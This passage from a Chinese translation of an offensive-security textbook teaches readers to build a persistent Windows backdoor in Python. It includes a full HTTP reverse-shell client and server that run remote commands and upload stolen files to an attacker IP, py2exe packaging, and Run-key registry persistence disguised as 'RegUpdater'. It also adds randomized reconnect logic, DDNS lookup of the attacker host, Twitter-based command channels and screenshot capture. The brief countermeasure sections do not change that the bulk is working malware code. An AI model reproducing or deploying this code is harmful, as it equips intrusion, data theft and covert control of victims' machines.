post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )
time.sleep(3)
在这里,我们将执行与 TCP 套接字中相同的过程。如果我们从攻击者机器收到一个 grab 命令,我们将把这个命令分成两部分,第二部分包含我们要抓取的文件的路径或目录。接下来,我们将检查该文件是否存在。如果没有,我们会立即通知服务器。现在,如果文件确实存在,请注意我们在 URL 中添加了 /store,url = 'http://10.0.2.15/store',作为一个标识,表示我们将传输的是文件而不是普通的 cmd 输出,因为两者都使用 POST 方法传输数据。所以,比如说,当我们发送一个文件,假设是 x.doc,我们将带有 /store 的 URL 发送它。另外,Requests 库使用了一种特殊的 POST 方法,叫做 multipart/form-data,来提交或发送文件。
服务器端
现在,在服务器端,我们导入了一个新的库叫做cgi。这个库用于处理接收到的文件并将其存储在本地。以下是服务器端的脚本:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# HTTP Data Exfiltration Server
import BaseHTTPServer
import os, cgi
HOST_NAME = '10.0.2.15'
PORT_NUMBER = 80
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(s):
command = raw_input("Shell> ")
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(command)
def do_POST(s):
# Here we will use the points which we mentioned in the Client side, as a start if the "/store" was in the URL
# then this is a POST used for file transfer so we will parse the POST header, if its value was 'multipart/form-data' then we
# will pass the POST parameters to FieldStorage class, the "fs" object contains the returned values from FieldStorage in dictionary fashion
if s.path == '/store':
try:
ctype, pdict = cgi.parse_header(s.headers.getheader('content-type'))
if ctype == 'multipart/form-data' :
fs = cgi.FieldStorage( fp = s.rfile,
headers = s.headers,
environ={ 'REQUEST_METHOD':'POST' }
)
else:
print "[-] Unexpected POST request"
fs_up = fs['file'] # Remember, on the client side we submitted the file in dictionary fashion, and we used the key 'file'
# to hold the actual file. Now here to retrieve the actual file, we use the corresponding key 'file'
with open('/root/Desktop/1.txt', 'wb') as o: # create a file holder called '1.txt' and write the received file into this '1.txt'
o.write( fs_up.file.read() )
s.send_response(200)
s.end_headers()
except Exception as e:
print e
return # once we store the received file in our file holder, we exit the function
s.send_response(200)
s.end_headers()
length = int(s.headers['Content-Length'])
postVar = s.rfile.read(length )
print postVar
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print '[!] Server is terminated'
httpd.server_close()
如果我们收到带有/store的POST请求,并且内容类型为multipart/form-data,则意味着我们将从目标机器获取一个文件,而不是通常的命令输出。然后,我们需要将接收到的文件、headers和REQUEST_METHOD传递给FieldStorage类。FieldStorage的返回值可以像 Python 字典一样进行索引,其中包含一个键和一个对应的值。例如,如果我们创建一个名为D的 Python 字典,键为K,值为v,如下所示:

要获取值v,我们只需要相应的键K。在客户端,当我们提交文件时,我们附加了一个名为files ='file'的标签或键。因此,我们将在服务器端使用这个标签或键来接收该文件。FieldStorage将抓取键及其值并将它们存储在名为fs的对象中。但我们只关心file的值,这是包含我们发送的实际文件的标签或键。一旦我们获取到该值,就会将其写入一个名为1.txt的占位符中。最后,我们退出该函数,以防止与正在进行的文件传输 POST 混淆。
要启动文件传输,执行以下步骤:
-
按照常规方式在两台机器上运行代码(运行 | 运行模块)
-
一旦我们获得
Shell>,继续执行dir命令进行目录搜索,并尝试抓取一个文件,例如putty.exe,通过运行grab命令,grab*putty.exe -
一旦我们在服务器端获得文件,将占位符重命名为
putty.exe并验证我们是否成功运行了putty.exe且没有文件损坏。可以通过在命令提示符中执行以下命令来验证:
wine putty.exe
-
返回到 shell 并获取另一个文件,比如
password.txt,只是为了测试。 -
检查重命名占位符后是否可以读取其内容
-
尝试抓取一个不存在的文件;你会遇到错误,因为它根本不存在。
导出为 EXE
在本节中,类似于我们在 TCP 套接字中所做的那样,我们将导出并测试我们的 HTTP 反向 Shell 为 EXE,并在此之后进行测试。
在这里,您还需要在桌面上创建一个名为Toexe的文件夹。如前所述,py2exe二进制文件、py2exe设置文件和HTTP_Client.py脚本文件应该位于该文件夹中。
设置文件setup.py将如下所示:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/
# HTTP Exporting to EXE Client Setup
from distutils.core import setup
import py2exe , sys, os
sys.argv.append("py2exe")
setup(
options = {'py2exe': {'bundle_files': 1}},
windows = [{'script': "HTTP_Client.py"}],
zipfile = None,
)
执行以下步骤以启动导出:
-
从编辑
py2exe设置文件开始,将Client.py更改为HTTP_Client.py,这是我们在目标端脚本的名称。 -
执行
setup.py脚本。 -
完成后,我们将进入
dist文件夹,并将HTTP_Client.py复制到桌面。 -
确保服务器已经在运行。一旦我们获得
Shell>,使用dir命令进入目录。 -
尝试抓取一个文件,比如
grab*password.txt,就像我们在前面的章节中做的那样。 -
在服务器端成功获取文件后,尝试其他简单命令,如
cd和whoami。 -
尝试输入一个错误命令,检查是否能得到正确的错误信息。
-
最后,通过执行
terminate命令从 Shell 中终止会话。 -
你可以检查一下是否有
HTTP_Client.exe进程在我们的 Windows 机器上;一旦我们执行terminate,该进程将从列表中消失,确认其终止。
持久性
保持访问是渗透测试中一个非常重要的阶段。假设我们的目标已经运行了我们的 Shell,所有事情都进行得很顺利。然后突然,目标机器关闭了电脑。这样的话,我们就会失去所有的访问权限。所以,这里关键的一点是,我们需要在目标机器重新启动或关机后能够继续生存下去。在继续之前,一些客户禁止对目标机器进行任何修改,因此在进一步操作之前,必须确保与你的客户设定好正确的期望。
如果允许进行修改,那么我们有三个执行阶段,如下所示:
- 首先,我们会将自己复制到另一个位置,这样做是为了防止目标删除 Shell 文件;所以这份复制就是备份。在这个阶段,应该识别两个参数。第一个是源路径,即 Shell 文件所在的目录,换句话说,就是当前工作目录。第二个参数是目标路径;在这里是
Documents文件夹。
由于每台 PC 的用户名不同,我们需要弄清楚目标机器上以前的用户名是什么。
-
在第二阶段,将 Shell 复制到
Documents文件夹或Documents目录后,我们需要添加一个注册表项,并将其指向Documents文件夹中的复制文件。请记住,第一阶段和第二阶段仅应在首次将后门安装到目标机器后执行一次。 -
第三阶段是启动我们的反向 Shell,而不重复之前的两个阶段。
由于我们不知道当前的工作目录或用户配置文件,因此我们必须首先找出这些信息。这将在系统侦察阶段完成。
现在,为了详细了解我们持久性 Shell 的工作流程,请看看这个简单的流程图:

从逻辑上讲,我们将从系统侦察阶段开始,这一阶段的输出将包括两项内容。首先,我们将发现我们的 shell 当前的工作目录,并找出用户配置文件。第二个输出应该是目标路径。接下来,我们需要判断是否第一次在目标机器上运行。你可能会问,我们怎么做到这一点呢?答案要感谢 OS 库,它简化了我们的任务。为了实现这一点,我们只需检查脚本是否存在于目标路径中。如果存在,那么这就不是我们第一次到达目标机器,因为我们已经完成了前两个阶段。所以,我们将跳过第一和第二阶段,直接启动 shell。
然而,如果这是我们第一次在目标机器上运行,我们将把自身复制到目标路径,这就是我们在第一阶段所做的。然后,我们将添加一个新的注册表键,指向这个位置,这就是这里的第二阶段。最后,我们需要确保我们能够重新连接到 Kali 服务器。在接下来的两个部分中,你将看到所有步骤的实际操作,以更清楚地理解这个概念。为了便于理解,我们将把编码部分分成两部分。在第一部分,我们将使 putty.exe 持久化,在第二部分,我们将完成并将持久化脚本与之前的 HTTP 反向 shell 集成。
使 putty.exe 持久化
在本节中,我们将使 putty.exe 程序持久化。你可以在 Google 上搜索并免费下载 PuTTY 软件。正如我们之前所解释的,我们的脚本将从执行系统侦察开始,这一阶段的输出将是当前的工作目录或用户配置文件的目标位置。
现在,让我们将这个阶段翻译成一段代码,如下所示——这些行将为我们执行侦察阶段:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Persistence
import os # needed for getting working directory
import shutil # needed for file copying
import subprocess # needed for getting user profile
import _winreg as wreg # needed for editing registry DB
# Reconn Phase
path = os.getcwd().strip('/n') #Get current working directory where the backdoor gets executed, we use the output to build our source path
Null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split('=')
#Get USERP ROFILE which contains the username of the profile and store it in userprof variable , we use the output to build our destination path
#Other way to discover the userprofile is via os.getenv('userprofile') , both will give the same result
destination = userprof.strip('\n\r') + '\\Documents\\' +'putty.exe'
#build the destination path where we copy your backdoor - in our example we choosed C:\Users\<UserName>\Documents\
# First and Second Phases
if not os.path.exists(destination): # this if statement will be False next time we run the script because our putty.exe will be already copied in destination
#First time our backdoor gets executed
#Copy our Backdoor to C:\Users\<UserName>\Documents\
shutil.copyfile(path+'\putty.exe', destination)
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",0,
wreg.KEY_ALL_ACCESS)
wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ,destination)
key.Close()
#create a new registry string called RegUpdater pointing to our
#new backdoor path (destination)
#If the script worked fine, out putty.exe should be copied to C:\Users\<UserName>\Documents\ and a new registry key called 'RegUpdater' should be created
#and pointing to C:\Users\<UserName>\Documents\putty.exe
os.getcwd() 函数将为我们获取当前工作目录。
现在,在 Desktop 上,我们创建一个名为 Persistence 的文件夹,里面放置我们为本节下载的 putty.exe 和之前提到的 Presistance.py 脚本。
让我们使用 Python 交互式 shell 或 Python 交互式窗口查看 os.getcwd() 这一行的输出:
-
打开命令提示符并导航到当前工作目录,即 Persistence。启动 Python 交互模式。
-
执行
import os和print os.getcwd()。 -
我们在这里获取脚本的当前工作目录。这个结果将存储在路径变量中:

回顾 Persistence.py 脚本,我们在子进程中调用 set USERPROFILE,并使用这一步骤获取 USERPROFILE 名称。根据这个信息,我们可以构建目标路径,即 Documents 文件夹。
在命令提示符中输入上面的 set USERPROFILE 变量。输出可能会有些杂乱,因此我们将分割输出,并将第二部分存储在名为 userprof 的变量中。分割标准或参数是基于 = 符号。根据这个标准,我们将把输出分成两部分。第二部分将存储在一个名为 userprof 的变量中。一旦我们知道了这些信息,就可以构建我们的目标路径,也就是 Documents 文件夹。
我们将 Documents 和 putty.exe 字符串附加在一起,得到目标的绝对路径。请注意,这里的 <UserName> 不再是未知的了。此时,我们已经成功完成了侦查阶段。接下来,检查是否是第一次进入这台计算机,我们将通过一个操作系统功能 path.exists() 来实现这个技巧。如果 putty.exe 不存在于 Documents 文件夹中,则意味着我们第一次在这里运行脚本,因为下次 PuTTY 会被复制,if 语句 if not os.path.exists(destination): 的结果将为 false。由于这是我们的第一次,我们将复制 putty.exe,它是源变量。
接下来,我们将在用户空间中添加一个注册表项。请注意,我们故意使用了用户空间,而不是机器空间。通过使用用户空间,即使没有管理员权限,我们的脚本也能正常工作。我们将注册表键字符串命名为 RegUpdater(你可以稍后改成任何你想要的名称),并将其值指向我们的最终目标。在这里,我们没有 shell,只是 putty.exe。因此,这部分内容将在下一节中讨论。在运行脚本之前,让我们先验证一下注册表数据库中是否与我们的脚本相关的内容。通过在 Windows 开始菜单搜索 regedit 打开注册表编辑器,路径将是 Computer\HKEY_CURRENT_USER|Software\Microsoft\Windows\CurrentVersion\Run,如下图所示,目前除了 (Default) 条目外,里面没有任何内容:

现在,导航到 Documents 文件夹,确保没有任何事情需要做。最后,确保 PuTTY 软件本身可以正常运行,直接打开它。
我们现在就运行脚本。如果没有遇到异常或错误,我们将验证注册表数据库。你会注意到,我们的注册表键指向了 Documents 目录,而且 PuTTY 也被复制到了 Documents 目录:

现在,关闭所有内容并重启 VirtualBox。启动虚拟机后,如果一切正常,我们应该会看到 putty.exe 已经执行,并且 PuTTY 窗口应该会弹出。
在下一节中,我们将使我们的 HTTP 反向 shell 更加智能,并在内置函数中执行所有这些步骤。
创建持久化的 HTTP 反向 shell
在本节中,我们将制作之前编码的 HTTP 反向 shell。然后,我们将其导出为 EXE 文件,进行尝试并测试。现在,几乎所有的难点工作已经完成,在这一点上你应该已经熟悉代码的每个部分。
快速回顾一下,我们在这里做的事情是将 putty.exe 改为 Persistence.exe,这将是我们的 EXE 文件名。目标部分将保持不变,也就是 Documents 文件夹。最后,我们像往常一样启动 HTTP 反向 shell。
这里的安装文件将如下所示:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/
# Persistence Setup
from distutils.core import setup
import py2exe , sys, os
sys.argv.append("py2exe")
setup(
options = {'py2exe': {'bundle_files': 1}},
windows = [{'script': "Persistence.py"}],
zipfile = None,
)
让我们尝试将这段代码导出为 EXE,文件名将是 Persistence。完成后,它应该位于 dist 文件夹中。现在,我们将在非管理员账户上测试它,以展示我们的 shell 不需要管理员权限:
-
从控制面板创建一个标准用户。
-
创建一个快速密码。
-
将持久性文件复制到
C:目录;这样我们在登录该非标准用户账户后,就可以从那里获取该文件。 -
注销并使用新的标准账户登录。
-
找到
Persistence文件并将其复制到桌面。 -
和往常一样,在运行 shell 之前,验证注册表数据库中没有任何内容。这同样适用于
Documents文件夹。 -
在 Kali 端设置我们的监听器,也就是运行我们的 HTTP 服务器。
-
完成后,注意到注册表项已成功添加,并且最终我们的文件能够成功识别用户名并将自己复制到
Documents文件夹。 -
让我们验证一下我们的 shell 是否按预期工作。在 Windows 机器上启动任务管理器。
-
我们从在服务器端运行
ping 10.0.2.15开始,这个地址是 Kali 机器的 IP。 -
使用
arp -a检查 Windows 端的arp表,并确保这些命令正常工作。 -
成功终止进程后,我们将删除
Persistence.exe文件,假设目标已经删除了 shell 文件并重新启动了客户端机器。 -
再次登录,如果你在 Kali 机器上看到 shell,我们的任务就成功了。
调整连接尝试
在之前的所有部分中,我们假设攻击者和目标机器的时间是同步的。这意味着我们的服务器一直处于启动和监听状态。现在,问题是:如果攻击者机器因某种原因离线或连接没有正确建立,会发生什么?那么,客户端上的后门将崩溃,并同时弹出一个错误信息框并生成一个文本文件,指示异常错误。
当前,我们的 Kali 机器没有在任何端口上监听。所以,如果攻击者发起 TCP SYN 请求与我们建立连接,由于端口关闭,我们的 Kali 机器将以 TCP RST 响应。现在,让我们快速看一下数据包级别:
-
通过执行
sudo wireshark在攻击者机器上启用 Wireshark,你可以看到我们的脚本没有在那里运行。 -
启动新的实时捕获
-
将过滤器设置为 TCP
-
在 Windows 机器上登录
-
由于我们没有监听端口
80,我们正在回复 TCP RST,正如以下截图所示:

同时,在目标端,我们的脚本会崩溃并抛出异常或日志信息。进入日志文件,你会看到它显示连接已中止,因为目标机器主动拒绝了连接,如下图所示:

使用admin帐户登录,我们已安装了 Python 编译器。因此,我们将通过创建一个带有异常处理程序的无限循环来解决此问题,如下所示:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Tunning
import os
import shutil
import subprocess
import _winreg as wreg
import requests
import time
...
#Last phase is to start a reverse connection back to our kali machine
import random
def connect():
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
return 1
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data=
'[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )
time.sleep(3)
while True:
try:
if connect()==1:
break
except:
sleep_for = random.randrange(1,10)
time.sleep( sleep_for )
#time.sleep( sleep_for ) #sleep for a random time between 1-10 minutes
pass
如你所见,一个名为connect()的新函数已添加到脚本中。因此,使用异常处理器,无论是什么原因,如果在初始化连接时遇到异常,我们将暂停 1 到 10 秒之间的随机时间,然后再尝试连接。在实际场景中,你需要更有耐心,将时间延长至 1 到 10 分钟。最后,我们传递异常,而不是抛出异常。现在,问题是:如何终止进程,因为我们有两个无限循环?由于单独的break命令无法完成任务,解决方法是,如果我们终止,那么整个函数将被中断,并保留一个值1。如果连接函数保留了1的值,那么我们将中断第二个循环,这样就能最终终止进程。
现在,让我们快速尝试并测试这个修改:
-
如前所述,将脚本导出为 EXE
-
确保
Documents文件夹和注册表项为空 -
双击
dist文件夹中的Persistence.exe并运行脚本
当我们在这里运行脚本时,注意到目标一直在尝试连接我们,直到我们运行服务器,连接尝试的时间会在 1 到 10 秒之间,如下图所示:

现在,一旦我们在服务器端启动监听器,完成三次握手,并从目标接收到GET请求,如下图所示:

检查注册表项是否存在,脚本是否已复制到Documents文件夹。最后一个要测试的事情是终止进程是否有效。Ping 10.0.2.15并执行terminate。你会看到Persistence.exe已从 Windows 任务管理器中消失。
防止 Shell 崩溃的小贴士
如我们之前所解释的,我们通过创建一个子进程并将命令传递给该子进程来创建了一个 shell。现在,关键是有些命令无法通过这种技术正常工作,例如 cls 和 clear 命令,这两个命令在 shell 中都无法执行。举个例子,假设我们能够将 shell 获取到客户端 PC,然后我们发现有某种 Telnet 或 FTP 服务器连接在同一内部网络上。不幸的是,我们无法通过我们的 shell 使用操作系统内置的 Telnet 客户端,这是因为一旦我们这样做,服务器会提示我们输入用户名和密码;这就是所谓的交互式方法,而 shell 无法处理这类交互。
一种解决方案是使用一个特殊的 Python 库,叫做 Pexpect。Pexpect 允许您的脚本像人类输入命令一样与应用程序进行交互。最后但同样重要的是,在将命令发送给目标之前,务必先在 VirtualBox 中本地测试该命令。
这里有几个要提到的要点。首先,我们遇到了明文传输的问题。现在,我们所有的流量和文件传输都是明文传输。这意味着任何 IPS 或网络分析器都能轻松捕捉到我们的命令,并且可能会阻止该连接,或至少会向系统或 SOC 团队发出警告。现在,在第四章《抓住我吧!》中,我们将通过构建自定义的 XOR 加密来解决这个问题,确保攻击者与目标机器之间的所有流量都进行加密。
第二个要点是:如果黑客的 IP 地址发生动态变化怎么办?假设黑客位于 ADSL 或代理后面,每次连接到互联网时,IP 地址都会发生变化。记住,我们已经将目标配置为连接到固定的 IP 地址,最终连接将会失败,因为该 IP 地址将不再有效。
对策
在本节中,我们将看到如何保护自己免受本章中解释的攻击。现在,如果我们思考一下:攻击者如何能够首先接触到我们的内部主机呢?嗯,我们依赖社会工程攻击以及客户端攻击来实现这一点。这里的主要防御关键是从保护人员开始,因为他们是整个系统中最薄弱的环节。因此,你必须开始定期保护你的员工,并加强管理执行。其次,你不应该依赖于杀毒软件、沙箱或 VMware,因为现代恶意软件具有内置机制来保护自己免受检测。此外,你应该远离任何可疑软件,尤其是破解文件。在安装任何软件之前,如果是合法软件,使用 MD5 或 sha1 算法验证文件完整性。如果可能的话,使用数据泄漏防护(DLP)来检测终端或网络传输路径上的任何文件传输。此外,作为最佳实践,你可以安装称为基于主机的入侵检测系统(HIDS)来收集操作系统日志,并注意操作系统日志上发生的任何修改。如果可能的话,创建一个白名单,并限制哪些进程被允许在操作系统上运行。在安全意识培训中,始终告知非技术人员向网络安全团队、安全操作员或分析员报告任何钓鱼邮件或可疑文件。
总结
在本章中,我们首先准备了攻击者和目标机器,然后开始学习和编写 TCP 和 HTTP 反向 shell。对于每个反向 shell,我们研究了数据泄露和将 Python 脚本导出为.exe,这使得攻击独立于 Python 编译器。我们学会了如何使连接持久化。我们还研究了调整连接尝试和防范我们学到的攻击的对策。
在下一章中,我们将涵盖 DDNS、交互式 Twitter、对策、复制 Metasploit 屏幕捕获、目标目录导航以及集成低级端口扫描器。
第二章:高级可脚本化 Shell
在上一章中,我们创建的后门问题在于,如果攻击者的 IP 地址发生变化,我们没有内建机制来通知目标它应该连接到新的 IP 地址。本章将介绍一种方法,即使 IP 地址发生变化,你也可以为你的攻击者机器保留一个固定的预定名称。
本章将涵盖以下主题:
-
动态 DNS
-
与 Twitter 交互
-
模拟 Metasploit 的屏幕捕捉
-
模拟 Metasploit 搜索内容
-
集成一个低级端口扫描器
动态 DNS
现在,我们将在这里讨论的其中一种方法是动态 DNS。假设攻击者的 IP 地址在第 1 天是 1.1.1.1,然后在第二天,我们得到一个 IP 地址 2.2.2.2。那么,我们的目标如何知道新的 IP 地址呢?答案就是动态 DNS(DDNS)。它是一种方法,可以在 DNS 服务器上为你保留一个唯一的名称。当保留的名称是固定的时,每次你更改公共 IP 地址时,相关联的 IP 地址也会变化。为了演示,我们将使用 noip.com。它提供了免费的动态 DNS 服务。因此,我之前已经保留了一个名为 pythonhussam.ddns.net 的名称。所以,在目标端,我们不再在脚本中硬编码 IP 地址,而是对这个名称进行 DNS 查询,然后获取 IP 地址来建立连接。现在,你可能会问:当攻击者的 IP 地址发生变化时,如何通过 noip.com 知道新的 IP 地址并更新其 DNS 记录?答案是通过一个软件代理,它应该安装在我们的 Kali 机器上。该代理会连接到 noip.com 的服务器,并通知它们我们的新 IP 地址。
为了节省时间,你可以在 noip.com 创建一个免费账户。这个过程应该非常简单直接。然后,预定一个你选择的名称,接下来的章节中,我们将会在 Kali Linux 上安装No-IP 代理,并修改我们之前的 TCP 反向 Shell 版本中的代码,以解析pythonhussam.ddns.net的 DNS 查询,这将是我们为演示目的保留的名称。
支持 DNS 的 Shell
在这一部分中,我们将从在 Kali Linux 机器上安装 No-IP 代理开始。确保我们的 Kali 机器已连接到互联网,以便下载和安装代理软件:
- 执行以下命令以解析到
/usr/local/src/:
cd /usr/local/src/
- 下载代理软件:
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
- 提取文件:
tar xf noip-duc-linux.tar.gz
cd进入我们刚刚提取的noip文件夹:
cd noip-2.1.9-1/
- 安装代理:
make install
所以,此时,它会提示你输入在 noip.com 网站注册时使用的 email 和 password。我将在这里输入我的电子邮件地址。现在我们可以看到 pythonhussam.ddns.net 已经注册到我们的账户,并且一个新的配置文件已经创建:

现在,让我们跳转到目标机器。在 Python 中,进行 DNS 查询非常简单。只需要一行代码来解析 IP 地址,我们将使用 socket.gethostname 或 socket.gethostbyname 来完成,如下代码所示:
'''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read no-ip.com terms and conditions carefully.
Use it on your own risk.
'''
# Python For Offensive PenTest
# DDNS Aware Shell
import socket
import subprocess
import os
...
def connect(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 8080)) # instead of hardcoding the ip addr statically we pass our ip variable
...
def main ():
ip = socket.gethostbyname('pythonhussam.ddns.net') # We will use the os to send out a dns query for pythonhussam.ddns.net
print "Resolved IP was: " + ip # Please don't forget to change this name to yours :D
connect(ip) # we will pass the ip variable which contains the attacker ip to connect function
main()
然后,我们将结果存储在一个名为 ip 的变量中,它是攻击者机器的 IP 地址。现在,我们只需注释掉 connect(ip) 函数,并打印出结果,以确保我们的脚本在这里运行正常。所以我们将运行该模块,它会显示 IP 地址为 37.202.101,如下所示:
>>>
Attacker IP is: 37.202.101.240
>>>
让我们回到攻击者机器,并通过在 Google 上搜索 what is my ip address 来验证我们的公网 IP 地址。如果一切顺利,我们将看到目标机器识别出的与攻击者机器的更新公网 IP 地址相同的地址。
所以,由于 IP 变量存储了我们攻击者的 IP 地址,我们将这个值传递到连接函数中,并使用这个值连接回攻击者的机器。
请注意,我们已经用一个名为 ip 的变量替换了 s.connect((ip, 8080)) 中的静态 IP 地址。
与 Twitter 互动
现在,我们将讨论一种当前常用的技术:依赖于知名服务器来执行某些任务或传输信息。俄罗斯的恶意软件使用了这种技术。攻击者的做法是,他们通过自己的 Twitter 账户发送数据,并让目标在稍后解析它。所以,在攻击者的机器上,我们只是发送一个正常的推文作为命令到我们的 Twitter 账户。注意,攻击者与目标之间没有直接的通信,这正是其中的邪恶之处。稍后,目标将解析推文并执行该命令。这样做的好处有:
-
Twitter 是一个受信任的网站,且具有很高的声誉;很可能它是一个白名单网站。
-
这种类型的攻击非常难以检测,一个缺乏经验的安全团队绝对不会想到这些数据可能是恶意的——而我在这里的目标之一就是让你对这种恶意攻击有警觉。
在下一部分,我们将从 Kali 机器向我们的账户发送一个普通的 hello 字符串作为推文。在客户端,我们将解析这条推文,然后打印出结果。
现在,从技术角度讲,任何人都可以在不登录 Twitter 的情况下查看你的推文。我建议你阅读 FireEye 的报告,看看攻击者是如何利用这种情况的,www2.fireeye.com/APT29-HAMMERTOSS-WEB-2015-RPT.html。
信不信由你,在五行 Python 脚本中,你将通过 HTTPS 连接到攻击者页面,检索 HTML 内容并解析它,最后从推文中提取数据。
用三行代码解析推文
为了演示,我在 Twitter 上创建了一个账户。我的个人资料名称是 @HussamKhrais。
所以,我将从 Kali 机器登录到我的 Twitter 账户并发送一条推文,我们将看看从目标机器获取这条推文有多么简单。首先,让我们开始创建一条新推文(例如Hello from kali python),然后从账户中登出。现在,让我们快速看一下在发布推文后创建的 HTML 页面,通过查看页面源代码。搜索并找到我们刚刚发布的推文。然后,如果我们稍微向左滚动一点,注意到 HTML meta 标签参数:
<meta name="description" content="The latest Tweets from Hussam Khrais (@HussamKhrais): "Hello from kali python"">
第一个参数name的值是description,第二个参数content包含了我们的推文。现在,我们将使用这些 HTML 标签来解析 HTML,并最终提取推文。
Python 有一个叫做 Beautiful Soup 的库,这是一个非常著名的工具,用于解析 HTML 页面。你可以从以下地址下载:pypi.python.org/pypi/BeautifulSoup/。
要安装这个库,只需导航到 Beautiful Soup 所在的目录,然后运行python setup.py并进行安装。
让我们快速看一下代码,这是我们将在目标端使用的:
'''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read Twitter terms and conditions carefully.
Use it on your own risk.
'''
# Python For Offensive PenTest
# Tweets Grabber
from BeautifulSoup import BeautifulSoup as soupy
import urllib
import re
html = urllib.urlopen('https://twitter.com/HussamKhrais').read()
soup = soupy(html)
#Navigate to my twitter home page HussamKhrais, store the HTML page into html variable and pass it
#to soupy function so we can parse it
x = soup.find("meta", {"name":"description"})['content']
print x
#Here we search for specific HTML meta tags, please see the video to know how did i find these parameters :)
filter = re.findall(r'"(.*?)"',x) # After parsing the html page, our tweet is located between double quotations
tweet = filter[0] # using regular expression we filter out the tweet
print tweet
所以,使用urllib或者 URL 库,我们将浏览到我的 Twitter 主页。一旦我们获取到 HTML 页面,就会把它存储到html变量中。然后,我们将 HTML 页面或变量传递给soupy函数。记得包含我们推文的 HTML meta 标签吗?我们将使用 Beautiful Soup 的find函数查找它。所以,我们将寻找一个meta name和description的值。使用正则表达式,我们将进行最后的筛选,仅打印出引号之间的精确字符串,这基本上就是我们发送的推文。运行脚本时,你会看到我们返回了发送的相同推文。
所以,我们将稍微清理一下代码,删除print x命令。我们将再次登录 Twitter 账户,并发送另一条推文。这一次,我们将推文内容设为We made it。所以,在目标端,运行脚本时,我们应该能够看到最新的推文。
请记住,我们能够在没有任何登录或身份验证的情况下获取到推文。接下来的部分,你将看到如何在实际场景中使用这个信息或脚本。
对策
在这一部分,我们将讨论针对与 Twitter 交互的恶意软件可能采取的对策。现在,请注意我说的是可能的对策,因为这并不是一件容易的事;这是因为以下原因之一:
-
阻止 Twitter
-
终止 SSL
你首先想到的可能是简单地封锁 Twitter,这肯定能阻止攻击。然而,如果你为一家社交营销公司工作,或者你的日常工作涉及使用 Twitter,那这种做法就不可行了。并且,问题不仅仅限于 Twitter。假设目标从 Instagram 下载了一张图片,然后,利用隐写术,目标解析出图片中的隐藏文本或命令。你可能会想到的第二点是,我们已经看到 Twitter 主页使用 HTTPS,流量是加密的。你可能会认为,我们可以简单地终止 SSL 并查看明文流量。那么,假设我们有一个解密设备,能够看到明文的推文和传输路径。问题是:我们需要哪些资源来检查从我们网络到 Twitter 之间的每一个数据包?因为可能会有 100MB 的数据流量。而且,如何区分哪些是好的,哪些是坏的呢?
假设我们有一条推文写着,Follow this website。那么,如何在不主动检查该网站的情况下判断它是恶意网站还是无害网站呢?总的来说,这将是我们流程中的一个更大头疼的问题。这里还有一个需要考虑的点是:如果推文本身被加密了呢?所以,攻击者可能将这条推文加密为 AES,并发送到 Twitter,待它到达目标方后再解密回来,而不是看到"hello world"或者ipconfig。
此外,攻击者还可以通过误导观察流量的任何人来进行攻击。他可以让恶意软件解析数百个 Twitter 页面,除了黑客页面之外,这会让我们重新回到之前讨论的资源问题。最后但同样重要的是,攻击者可以发布另一个 IP 地址的推文,以创建一条连接链。如果你阅读 FireEye 关于俄罗斯恶意软件如何工作的报告,你会发现攻击者发布了一个指向 GitHub 上图像的链接。因此,受害者启动了一个新的 GitHub 会话,这就是所谓的链式连接。
所以,如果我们再次考虑如何感染这种恶意软件,这将告诉我们,在当前情景中,前一章中讨论的相同对策依然有效。
复制 Metasploit 的屏幕截图功能
在这一节中,我们将自动化捕获目标机器的屏幕截图并通过 HTTP 反向 Shell 获取它。从目标桌面获取屏幕截图可以帮助我们查看目标端正在进行的程序和活动。在 Metasploit Meterpreter 中,有一个名为screengrab()的功能,它将从目标机器拍摄快照并将其传回攻击者的机器。所以在这里,我们将在现有的 HTTP shell 中做类似的操作。为此,我们将在目标机器上使用一个名为Pillow的库。这是一个 Python 的高级图像处理库。安装过程非常简单,你只需要通过cmd运行pip install Pillow即可。
在执行此操作之前,请确保你有互联网连接。安装完这个库后,我将进入 VirtualBox 中的“设备|网络|网络设置...”,并像上一章中一样将网络模式改回内部网络。我们还将为目标分配静态 IP 地址,以便能够连接到攻击者机器。
确保我们通过 ping 攻击者的 IP 地址与其建立了连接。
在我们的 HTTP 代码中,我们首先导入库。所以我们导入ImageGrab()函数,并需要添加一个新的if语句,表示如果收到screencap关键字,那么我们将拍摄快照并将其保存到当前工作目录,文件名为img.jpg。然后,我们会将其传输回攻击者机器:
# Python For Offensive PenTest
# Screen Capturing
import requests
import subprocess
import os
import time
from PIL import ImageGrab # Used to Grab a screenshot
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
